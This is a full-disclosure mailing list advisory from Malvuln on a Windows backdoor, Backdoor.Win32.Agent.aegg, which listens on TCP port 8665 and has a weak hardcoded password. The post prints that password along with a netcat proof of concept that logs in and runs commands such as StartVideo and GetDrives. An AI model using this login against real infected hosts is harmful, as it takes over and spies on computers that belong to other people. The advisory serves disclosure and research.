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List:       full-disclosure
Subject:    [FD] Backdoor.Win32.Agent.aegg / Weak Hardcoded Credentials
From:       malvuln <malvuln13 () gmail ! com>
Date:       2022-04-27 1:32:06
Message-ID: CAAHK0WTk_1g=+bHDJHVmF2QmX8JwtSZpueXWguwHNhXwsbYwRQ () mail ! gmail ! com
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Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/58be35e792476d1c015df7853112d200.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.aegg
Vulnerability: Weak Hardcoded Credentials
Description: The malware listens on TCP port 8665. Authentication is
required, however the password "Xc 2870508" is weak and hardcoded within
the PE file.
Family: Agent
Type: PE32
MD5: 58be35e792476d1c015df7853112d200
Vuln ID: MVID-2022-0571
Dropped files: ck.reg
Disclosure: 04/26/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 8665
Welcome to XC Doc Server!
Login root
LoginFailed

C:\nc64.exe x.x.x.x 8665
Welcome to XC Doc Server!
Login Xc 2870508
LoginOK

ComputerName
DESKTOP-2C3IQHO
StartVideo
StartVideoOK
GetDrives
C:\
D:\
....

Disclaimer: The information contained within this advisory is supplied
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provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
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the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
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handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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